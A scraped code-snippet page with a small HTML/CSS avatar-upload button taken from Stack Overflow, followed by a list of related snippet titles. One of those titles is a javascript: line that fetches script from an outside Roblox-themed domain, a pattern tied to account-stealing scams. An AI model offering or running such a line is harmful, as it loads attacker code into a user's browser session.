Avatar change design html css

<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css" integrity="sha384-oS3vJWv+0UjzBfQzYUhtDYW+Pj2yciDJxpsK1OYPAYjqT085Qq/1cq5FLXAZQ7Ay" crossorigin="anonymous">

<div class="wrap">
  <img src="https://i.stack.imgur.com/mSXoO.png" class="main-profile-img" />
  <button><i class="fas fa-edit"><input type="file" name="avatar"></i></button>
</div>

Source: stackoverflow.com

Similar codes

13 votes311 views2 answers
Border radius 4 values
CSS
0 vote331 views1 answer
CKEDITOR PUSH TEXT IN FRONT OF CURSOR
CSS
0 vote351 views2 answers
Background image syntax in css if it is in folder
CSS
48 votes341 views3 answers
Red color rgb
CSS
22 votes417 views2 answers
React bootstrap carousal not working
CSS Bootstrap
19 votes336 views6 answers
Map method
CSS
0 vote316 views1 answer
Material css sidebar
CSS
0 vote417 views1 answer
How to slow down hover effect css
CSS
0 vote336 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS
222 votes524 views6 answers
Bootstrap CSS CDN
CSS